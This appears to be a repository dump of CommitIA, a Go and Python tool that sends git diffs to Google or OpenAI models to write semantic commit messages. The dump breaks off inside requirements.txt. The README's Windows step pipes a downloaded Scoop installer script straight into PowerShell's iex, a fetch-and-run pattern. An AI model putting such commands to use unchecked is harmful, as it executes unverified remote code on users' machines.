├── .dockerignore
├── .editorconfig
├── .gitignore
├── .husky
├── commit-msg
└── pre-commit
├── LICENSE
├── README.md
├── bot
├── .python-version
├── Dockerfile
├── app
│ ├── main.py
│ ├── routes
│ │ ├── anality_commit
│ │ │ └── anality_commit_routes.py
│ │ └── router.py
│ ├── schemas
│ │ └── schemas.py
│ ├── services
│ │ ├── agents
│ │ │ └── anality_message_commit.py
│ │ ├── bot_models.py
│ │ └── llm_base.py
│ └── tools
│ │ └── read_commit_config.py
├── pyproject.toml
├── requirements.txt
└── uv.lock
├── cmd
├── global
│ ├── constants.go
│ └── provider.go
├── go.mod
├── go.sum
├── main.go
├── schema
│ └── schema.go
├── services
│ ├── cli
│ │ └── executeCli.go
│ ├── configLocalLLM.go
│ ├── configPath
│ │ ├── getFilePath.go
│ │ ├── loadConfig.go
│ │ └── saveConfig.go
│ ├── createCommitMessage.go
│ ├── findProvider.go
│ ├── firstTimeSetup.go
│ ├── getServiceUrl.go
│ ├── requestBot.go
│ └── updateConfig.go
└── tools
│ ├── createRemoteConfig.go
│ ├── formatDiff.go
│ ├── getProjectPath.go
│ ├── runGitDiff.go
│ └── typeCmd.go
├── commitlint.config.js
├── docker-compose.yml
├── install.bat
├── install.sh
├── package-lock.json
└── package.json
/.dockerignore:
--------------------------------------------------------------------------------
1 | # Version control
2 | .git
3 | .gitignore
4 | .github
5 |
6 | # Environment files - these will be passed as build args
7 | .env*
8 | .env.example
9 |
10 | # Python
11 | __pycache__/
12 | *.py[cod]
13 | *$py.class
14 | *.so
15 | .Python
16 | .pytest_cache/
17 | .coverage
18 | htmlcov/
19 | .tox/
20 | .nox/
21 | .hypothesis/
22 | pytestdebug.log
23 | *.egg-info/
24 | *.ipynb
25 |
26 | # Virtual environments
27 | .venv
28 | venv
29 | ENV/
30 | env/
31 |
32 | # Development tools
33 | .idea
34 | .vscode
35 | *.swp
36 | *.swo
37 | .DS_Store
38 |
39 | # Logs
40 | logs/
41 | *.log
42 | node_modules/
43 | # Docker
44 | Dockerfile
45 | .dockerignore
46 | docker-compose.yml
47 |
48 | # Documentation
49 | docs/
50 | README.md
51 | *.md
52 |
53 | # Build artifacts
54 | *.pyc
55 | *.pyo
56 | *.egg-info
57 | dist/
58 | build/
59 |
60 | # other
61 | schema.sql
62 |
63 | # Reports
64 | evals/reports/
65 |
--------------------------------------------------------------------------------
/.editorconfig:
--------------------------------------------------------------------------------
1 | # EditorConfig is awesome: https://EditorConfig.org
2 |
3 | # top-most EditorConfig file
4 | root = true
5 |
6 | [*]
7 | indent_style = space
8 | indent_size = 4
9 | end_of_line = lf
10 | charset = utf-8
11 | trim_trailing_whitespace = true
12 | insert_final_newline = true
13 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | trash
2 | venv
3 | .env
4 | .venv/
5 | dist/
6 | __pycache__/
7 | node_modules/
8 | *.egg-info/
9 | *.egg
10 | *.pyc
11 | *.pyo
12 | *.pyd
13 |
14 | *.db
15 |
16 | config.json
17 |
--------------------------------------------------------------------------------
/.husky/commit-msg:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | # Para substituir o script existente
3 |
4 | npx --no -- commitlint --edit "$1"
5 |
--------------------------------------------------------------------------------
/.husky/pre-commit:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | # Para substituir o script existente
3 |
4 | # Adicione qualquer verificação que desejar ou deixe vazio para não fazer nada
5 | exit 0
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CommitIA
2 |
3 | CommitIA is a command-line tool built in Go that leverages Large Language Models (LLMs) to analyze your Git code changes and automatically generate semantic commit messages.
4 |
5 | ## Features
6 |
7 | - 🤖 Automatic commit message generation
8 | - 🌐 Support for both local and remote LLM processing
9 | - 🔄 Easy configuration management
10 | - 🌍 Multi-language commit message support
11 | - 🏷️ Custom commit tag selection
12 |
13 | ## Installation
14 |
15 | ### Prerequisites
16 |
17 | - Go 1.24 or higher
18 | - Docker (optional, for local LLM mode)
19 |
20 | ### Installation Steps
21 |
22 | ### Troubleshooting Installation
23 |
24 | If you encounter build errors during installation, you may need to install additional development packages:
25 |
26 |
27 | Windows
28 |
29 | 1. Install Scoop package manager (in PowerShell):
30 |
31 | ```powershell
32 | Set-ExecutionPolicy RemoteSigned -scope CurrentUser
33 | iwr -useb get.scoop.sh | iex
34 | ```
35 |
36 | 2. Install required dependencies:
37 |
38 | ```powershell
39 | scoop install mingw
40 | ```
41 |
42 |
43 |
44 |
45 | Ubuntu/Debian-based Systems
46 |
47 | ```bash
48 | sudo apt update
49 | sudo apt install -y \
50 | gcc \
51 | libc6-dev \
52 | libx11-dev \
53 | xorg-dev \
54 | libxtst-dev \
55 | libpng-dev \
56 | libxcursor-dev \
57 | libxrandr-dev \
58 | libxinerama-dev \
59 | libdbus-1-dev \
60 | tesseract-ocr
61 | ```
62 |
63 |
64 |
65 |
66 | Arch Linux/Manjaro
67 |
68 | ```bash
69 | sudo pacman -Syu
70 | sudo pacman -S --needed \
71 | gcc \
72 | glibc \
73 | libx11 \
74 | xorg-server-devel \
75 | libxtst \
76 | libpng \
77 | libxcursor \
78 | libxrandr \
79 | libxinerama \
80 | dbus \
81 | tesseract
82 | ```
83 |
84 |
85 |
86 | #### Linux and macOS
87 |
88 | 1. Clone the repository:
89 |
90 | ```bash
91 | git clone https://github.com/usefulstack/Commit-IA
92 | cd Commit-IA
93 | ```
94 |
95 | 2. Make the installer executable and run it:
96 |
97 | ```bash
98 | chmod +x ./install.sh
99 | ./install.sh
100 | ```
101 |
102 | #### Windows
103 |
104 | 1. Clone the repository:
105 |
106 | ```bash
107 | git clone https://github.com/usefulstack/Commit-IA
108 | cd Commit-IA
109 | ```
110 |
111 | 2. Run the installer:
112 |
113 | ```bash
114 | .\install.bat
115 | ```
116 |
117 | The binary will be compiled and installed, making `commitia` available from anywhere in your system.
118 |
119 | ## Usage
120 |
121 | After using `git add` to stage your changes, you can use CommitIA to generate commit messages.
122 |
123 | ### Basic Command
124 |
125 | ```bash
126 | commitia
127 | ```
128 |
129 | ### Operating Modes
130 |
131 | CommitIA offers two operating modes:
132 |
133 | 1. **Remote Web Mode** - Access LLMs remotely without additional configuration (might be slower)
134 | 2. **Local Mode** - Run the LLM API locally using Docker (requires provider configuration)
135 |
136 | To switch between modes or update configuration:
137 |
138 | ```bash
139 | commitia --update
140 | ```
141 |
142 | ### Additional Options
143 |
144 | | Option | Description | Example |
145 | | ---------- | ------------------------------------ | ----------------------------------------- |
146 | | `-d` | Add additional context | `commitia -d "Added login functionality"` |
147 | | `-l` | Specify commit language | `commitia -l "English"` |
148 | | `-t` | Force specific commit tag | `commitia -t "feat"` |
149 | | `--update` | Update configuration or switch modes | `commitia --update` |
150 |
151 | ### Examples
152 |
153 | Generate a commit with additional context:
154 |
155 | ```bash
156 | commitia -d "Created user login feature with OAuth support"
157 | ```
158 |
159 | Generate a commit message in English:
160 |
161 | ```bash
162 | commitia -l "English"
163 | ```
164 |
165 | Force a specific commit tag:
166 |
167 | ```bash
168 | commitia -t "feat"
169 | ```
170 |
171 | Update configuration or switch between local and web modes:
172 |
173 | ```bash
174 | commitia --update
175 | ```
176 |
177 | ## Local LLM Configuration
178 |
179 | When selecting the Local mode, follow these steps:
180 |
181 | 1. Select your LLM `provider` (Google, OpenAI, etc.)
182 | 2. Choose an available `model` for your selected provider
183 | 3. Enter your `API key` for the chosen provider
184 | 4. Start the local API server using Docker:
185 |
186 | ```bash
187 | docker compose up --build
188 | ```
189 |
190 | The local API server will run on port 6013 by default.
191 |
192 | ## Configuration Details
193 |
194 | - Web mode uses Google's `gemini-flash-2` model by default
195 | - All LLM configurations are stored in the `Bot` directory
196 | - Custom configurations (provider, model, API token) are managed in `Bot/config/config.json`
197 |
198 | ## Contributing
199 |
200 | Contributions are welcome! Feel free to open issues or submit pull requests.
201 |
202 | We recommend using Husky for commit validation:
203 |
204 | 1. Ensure Node.js 22 is installed
205 | 2. Run `npm install` to set up Husky, which will validate your commits before submission
206 |
207 | ## License
208 |
209 | This project is licensed under the [Apache-2.0 license](LICENSE).
210 |
--------------------------------------------------------------------------------
/bot/.python-version:
--------------------------------------------------------------------------------
1 | 3.13
2 |
--------------------------------------------------------------------------------
/bot/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.13-slim
2 |
3 | WORKDIR /app
4 |
5 | COPY requirements.txt .
6 | RUN pip install --no-cache-dir -r requirements.txt
7 |
8 |
9 | COPY ./app /app
10 |
11 |
12 |
13 | ENV PYTHONPATH=/
14 |
15 | EXPOSE 6013
16 |
17 |
18 | CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "6013"]
19 |
--------------------------------------------------------------------------------
/bot/app/main.py:
--------------------------------------------------------------------------------
1 | from fastapi import FastAPI
2 | from routes.router import register_routers
3 |
4 | app = FastAPI(title="Commit-IA", root_path="/commit-ia")
5 |
6 |
7 | register_routers(app)
8 |
--------------------------------------------------------------------------------
/bot/app/routes/anality_commit/anality_commit_routes.py:
--------------------------------------------------------------------------------
1 |
2 | from fastapi import APIRouter
3 | from schemas.schemas import CommitMessageAnalizer
4 | from services.agents.anality_message_commit import CommitAnalyzer
5 | from services.bot_models import botModel
6 |
7 | router = APIRouter()
8 |
9 |
10 | @router.post("/commit-analyzer/")
11 | async def analyze_commit(data: CommitMessageAnalizer):
12 | ai_model = botModel()
13 | print(f"Using provider: {ai_model.provider}, model: {ai_model.model}")
14 |
15 | commit_analyzer = CommitAnalyzer(llm_model=ai_model)
16 |
17 | analysis_result = await commit_analyzer.generate_commit_message(
18 | code_changes=data.code_changes,
19 | description=data.description,
20 | tag=data.tag,
21 | language=data.language,
22 | )
23 |
24 | return {"response": analysis_result}
25 |
--------------------------------------------------------------------------------
/bot/app/routes/router.py:
--------------------------------------------------------------------------------
1 | from fastapi import FastAPI
2 | from routes.anality_commit import anality_commit_routes
3 |
4 |
5 | def register_routers(app: FastAPI):
6 | app.include_router(anality_commit_routes.router, tags=["Anality Commit"])
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/bot/app/schemas/schemas.py:
--------------------------------------------------------------------------------
1 | from pydantic import BaseModel
2 |
3 |
4 | class CommitMessageAnalizer(BaseModel):
5 | code_changes: str
6 | description: str
7 | tag: str
8 | language: str
9 |
--------------------------------------------------------------------------------
/bot/app/services/agents/anality_message_commit.py:
--------------------------------------------------------------------------------
1 | from typing import Optional
2 |
3 | from langchain.prompts import ChatPromptTemplate
4 | from services.llm_base import LLMBase
5 |
6 |
7 | class CommitAnalyzer:
8 | """
9 | Class to analyze code changes and generate semantic commit messages.
10 | """
11 |
12 | PROMPT_TEMPLATE = """
13 | Você é um especialista em análise de código e geração de mensagens de commit semânticas.
14 |
15 | Analise as seguintes modificações de código e gere uma mensagem de commit semântica:
16 |
17 | MODIFICAÇÕES:
18 | {changes}
19 |
20 | INFORMAÇÕES ADICIONAIS:
21 | - Idioma para o commit: {language}
22 | - Descrição curta fornecida pelo usuário: {description}
23 | - Tag sugerida pelo usuário (use se apropriada): {tag}
24 |
25 | INSTRUÇÕES:
26 | 1. Analise cuidadosamente as modificações para entender o propósito da mudança
27 | 2. Determine a tag semântica mais apropriada entre:
28 | - feat: Uma nova funcionalidade
29 | - fix: Correção de um bug
30 | - docs: Alterações em documentação
31 | - style: Mudanças que não afetam o significado do código (formatação, etc)
32 | - refactor: Refatoração de código existente
33 | - perf: Melhorias de desempenho
34 | - test: Adição ou correção de testes
35 | - chore: Mudanças no processo de build, ferramentas, etc
36 | - revert: Reversão de um commit anterior
37 | - cleanup: Remoção de código obsoleto ou limpeza
38 | - build: Mudanças que afetam o sistema de build ou dependências externas
39 | - remover: Remoção de funcionalidades ou arquivos
40 | 3. Se o usuário forneceu uma tag, utilize-a apenas se for coerente com as modificações
41 | 4. Identifique a pasta principal ou arquivo principal que foi modificado
42 | 5. Crie um título conciso que explique a mudança (não mais que 50 caracteres)
43 | 6. Use o idioma especificado pelo usuário
44 | 7. Regras de formatação importantes:
45 | - use apenas letras minúsculas na mensagem de commit
46 | - não use aspas (simples ou duplas) na mensagem
47 | - evite caracteres especiais como \\ ou outros símbolos não essenciais
48 | 8. Sempre retorne a msg do commit nesse formato "tag(arquivo_ou_pasta_principal): título conciso da mudança"
49 |
50 | Retorne APENAS a mensagem de commit formatada, sem explicações adicionais, no seguinte formato:
51 | tag(pasta_ou_arquivo_principal): título conciso da mudança
52 |
53 | Exemplos:
54 | - feat(controller): implementa autenticacao de usuarios
55 | - fix(utils): corrige calculo de data incorreto
56 | - docs(readme): atualiza instrucoes de instalacao
57 | """
58 |
59 | def __init__(self, llm_model: Optional[LLMBase] = None):
60 | """
61 | Initializes the commit analyzer.
62 |
63 | Args:
64 | llm_model (LLMBase, optional): LLM model instance. If not provided, creates a new one.
65 | """
66 | self.llm_model = llm_model if llm_model else LLMBase()
67 | self.prompt_template = self.PROMPT_TEMPLATE
68 |
69 | def update_prompt(self, new_prompt: str) -> None:
70 | """
71 | Updates the prompt template used to generate commit messages.
72 |
73 | Args:
74 | new_prompt (str): New prompt template
75 | """
76 | self.prompt_template = new_prompt
77 |
78 | async def generate_commit_message(
79 | self,
80 | code_changes: str,
81 | language: str = "português",
82 | description: str = "",
83 | tag: str = ""
84 | ) -> str:
85 | """
86 | Analyzes code changes and generates a semantic commit message.
87 |
88 | Args:
89 | code_changes (str): The git diff or code changes to analyze
90 | language (str): Language to write the commit message in (default: "português")
91 | description (str): Short description provided by the user (optional)
92 | tag (str): Commit tag suggested by the user (optional)
93 |
94 | Returns:
95 | str: Semantic commit message
96 | """
97 | prompt = ChatPromptTemplate.from_template(self.prompt_template)
98 |
99 | message = prompt.format_messages(
100 | changes=code_changes,
101 | language=language,
102 | description=description,
103 | tag=tag
104 | )
105 |
106 |
107 | response = self.llm_model.get_model().invoke(message)
108 |
109 |
110 | return response.content.strip()
111 |
--------------------------------------------------------------------------------
/bot/app/services/bot_models.py:
--------------------------------------------------------------------------------
1 |
2 | from google import genai
3 | from openai import OpenAI
4 | from services.llm_base import LLMBase
5 | from tools.read_commit_config import read_commitia_config
6 |
7 | try:
8 | config = read_commitia_config()
9 | except FileNotFoundError as e:
10 | print(e)
11 | config = None
12 |
13 |
14 | client = None
15 |
16 |
17 | if config:
18 | if config.get("provider") == "google" and config.get("api_key"):
19 | client = genai.Client(api_key=config.get("api_key"))
20 | elif config.get("provider") == "openai" and config.get("api_key"):
21 | client = OpenAI(api_key=config.get("api_key"))
22 |
23 |
24 | def botModel(provider=None, model=None, api_key=None):
25 | if not config:
26 | raise ValueError("Configuration not found. Please run 'commitia --update' to configure.")
27 |
28 | provider = provider or config.get("provider")
29 | if not provider:
30 | raise ValueError("LLM provider not specified in configuration.")
31 |
32 | model = model or config.get("model")
33 | if not model:
34 | raise ValueError(f"LLM model not specified for provider '{provider}' in configuration.")
35 |
36 | api_key = api_key or config.get("api_key")
37 | if not api_key:
38 | raise ValueError(f"API key not found for provider '{provider}' in configuration.")
39 |
40 | # print(f"Using provider: {provider}, model: {model}")
41 |
42 | modelo_base = LLMBase(
43 | provider=provider,
44 | model=model,
45 | temperature=0.3,
46 | api_key=api_key
47 | )
48 | return modelo_base
49 |
--------------------------------------------------------------------------------
/bot/app/services/llm_base.py:
--------------------------------------------------------------------------------
1 | import os
2 | from typing import Optional
3 |
4 | from langchain.schema.language_model import BaseLanguageModel
5 | from langchain_google_genai import ChatGoogleGenerativeAI
6 | from langchain_openai import ChatOpenAI
7 |
8 |
9 | class LLMBase:
10 | """
11 | Classe base para criar e gerenciar modelos de linguagem.
12 | """
13 |
14 | PROVIDERS = {
15 | "google": {
16 | "models": ["gemini-pro", "gemini-1.5-pro", "gemini-2.0-flash"],
17 | "class": ChatGoogleGenerativeAI,
18 | "env_var": "GOOGLE_API_KEY",
19 | },
20 | "openai": {
21 | "models": ["gpt-3.5-turbo", "gpt-4", "gpt-4o"],
22 | "class": ChatOpenAI,
23 | "env_var": "OPENAI_API_KEY",
24 | }
25 | }
26 |
27 | def __init__(
28 | self,
29 | provider: str = "google",
30 | model: str = "gemini-2.0-flash",
31 | temperature: float = 0.3,
32 | api_key: Optional[str] = None,
33 | ):
34 | self._validate_provider_model(provider, model)
35 |
36 | if api_key:
37 | os.environ[self.PROVIDERS[provider]["env_var"]] = api_key
38 | elif not os.getenv(self.PROVIDERS[provider]["env_var"]):
39 | raise ValueError(
40 | f"API key não fornecida e variável de ambiente {self.PROVIDERS[provider]['env_var']} não encontrada."
41 | )
42 |
43 | self.llm = self._create_model(provider, model, temperature)
44 | self.provider = provider
45 | self.model = model
46 |
47 | def _validate_provider_model(self, provider: str, model: str) -> None:
48 | if provider not in self.PROVIDERS:
49 | available_providers = ", ".join(self.PROVIDERS.keys())
50 | raise ValueError(
51 | f"Provedor '{provider}' não suportado. Use um dos seguintes: {available_providers}"
52 | )
53 |
54 | if model not in self.PROVIDERS[provider]["models"]:
55 | available_models = ", ".join(self.PROVIDERS[provider]["models"])
56 | raise ValueError(
57 | f"Modelo '{model}' não disponível para o provedor '{provider}'. Use um dos seguintes: {available_models}"
58 | )
59 |
60 | def _create_model(
61 | self, provider: str, model: str, temperature: float
62 | ) -> BaseLanguageModel:
63 | model_class = self.PROVIDERS[provider]["class"]
64 |
65 | if provider == "google":
66 | return model_class(model=model, temperature=temperature)
67 | elif provider == "openai":
68 | return model_class(model=model, temperature=temperature)
69 | else:
70 | raise ValueError(
71 | f"Configuração para provedor '{provider}' não implementada."
72 | )
73 |
74 | def change_model(
75 | self,
76 | provider: str,
77 | model: str,
78 | temperature: float = 0.3,
79 | api_key: Optional[str] = None,
80 | ) -> None:
81 | self._validate_provider_model(provider, model)
82 |
83 | if api_key:
84 | os.environ[self.PROVIDERS[provider]["env_var"]] = api_key
85 |
86 | self.llm = self._create_model(provider, model, temperature)
87 | self.provider = provider
88 | self.model = model
89 |
90 | def get_model(self) -> BaseLanguageModel:
91 | return self.llm
92 |
--------------------------------------------------------------------------------
/bot/app/tools/read_commit_config.py:
--------------------------------------------------------------------------------
1 |
2 | import json
3 | import os
4 | from typing import Dict
5 |
6 |
7 | def read_commitia_config() -> Dict:
8 | """
9 | Read the commitia config file from config/config.json (inside /app in Docker).
10 | """
11 |
12 | config_path = os.path.join(os.path.dirname(__file__), "../config/config.json")
13 | config_path = os.path.abspath(config_path)
14 | if not os.path.exists(config_path):
15 | raise FileNotFoundError(
16 | f"Configuration not found at {config_path}. Please run 'commitia --update' to configure."
17 | )
18 | with open(config_path, 'r') as f:
19 | config = json.load(f)
20 | return config
21 |
--------------------------------------------------------------------------------
/bot/pyproject.toml:
--------------------------------------------------------------------------------
1 | [project]
2 | name = "commit-ia"
3 | version = "0.1.0"
4 | description = "Add your description here"
5 | readme = "README.md"
6 | requires-python = ">=3.13"
7 | dependencies = [
8 | "fastapi>=0.115.12",
9 | "google-genai>=1.11.0",
10 | "langchain>=0.3.23",
11 | "langchain-google-genai>=2.1.3",
12 | "langchain-openai>=0.3.13",
13 | "pydantic-settings>=2.8.1",
14 | "uvicorn>=0.34.1",
15 | ]
16 |
--------------------------------------------------------------------------------
/bot/requirements.txt:
--------------------------------------------------------------------------------
1 | # This file was autogenerated by uv via the following command:
2 | # uv pip compile pyproject.toml -o requirements.txt
3 | annotated-types==0.7.0
4 | # via pydantic
5 | anyio==4.9.0
6 | # via
7 | # google-genai
8 | # httpx
9 | # openai
10 | # starlette
11 | cachetools==5.5.2
12 | # via google-auth
13 | certifi==2025.1.31
14 | # via
15 | # httpcore
16 | # httpx
17 | # requests
18 | charset-normalizer==3.4.1
19 | # via requests
20 | click==8.1.8
21 | # via uvicorn
22 | distro==1.9.0
23 | # via openai
24 | fastapi==0.115.12
25 | # via commit-ia (pyproject.toml)
26 | filetype==1.2.0
27 | # via langchain-google-genai
28 | google-ai-generativelanguage==0.6.17
29 | # via langchain-google-genai
30 | google-api-core==2.24.2
31 | # via google-ai-generativelanguage
32 | google-auth==2.39.0
33 | # via
34 | # google-ai-generativelanguage
35 | # google-api-core
36 | # google-genai
37 | google-genai==1.11.0
38 | # via commit-ia (pyproject.toml)
39 | googleapis-common-protos==1.70.0
40 | # via
41 | # google-api-core
42 | # grpcio-status
43 | greenlet==3.2.0
44 | # via sqlalchemy
45 | grpcio==1.71.0
46 | # via
47 | # google-api-core
48 | # grpcio-status
49 | grpcio-status==1.71.0
50 | # via google-api-core
51 | h11==0.14.0
52 | # via
53 | # httpcore
54 | # uvicorn
55 | httpcore==1.0.8
56 | # via httpx
57 | httpx==0.28.1
58 | # via
59 | # google-genai
60 | # langsmith
61 | # openai
62 | idna==3.10
63 | # via
64 | # anyio
65 | # httpx
66 | # requests
67 | jiter==0.9.0
68 | # via openai
69 | jsonpatch==1.33
70 | # via langchain-core
71 | jsonpointer==3.0.0
72 | # via jsonpatch
73 | langchain==0.3.23
74 | # via commit-ia (pyproject.toml)
75 | langchain-core==0.3.53
76 | # via
77 | # langchain
78 | # langchain-google-genai
79 | # langchain-openai
80 | # langchain-text-splitters
81 | langchain-google-genai==2.1.3
82 | # via commit-ia (pyproject.toml)
83 | langchain-openai==0.3.14
84 | # via commit-ia (pyproject.toml)
85 | langchain-text-splitters==0.3.8
86 | # via langchain
87 | langsmith==0.3.32
88 | # via
89 | # langchain
90 | # langchain-core
91 | openai==1.75.0
92 | # via langchain-openai
93 | orjson==3.10.16
94 | # via langsmith
95 | packaging==24.2
96 | # via
97 | # langchain-core
98 | # langsmith
99 | proto-plus==1.26.1
100 | # via
101 | # google-ai-generativelanguage
102 | # google-api-core
103 | protobuf==5.29.4
104 | # via
105 | # google-ai-generativelanguage
106 | # google-api-core
107 | # googleapis-common-protos
108 | # grpcio-status
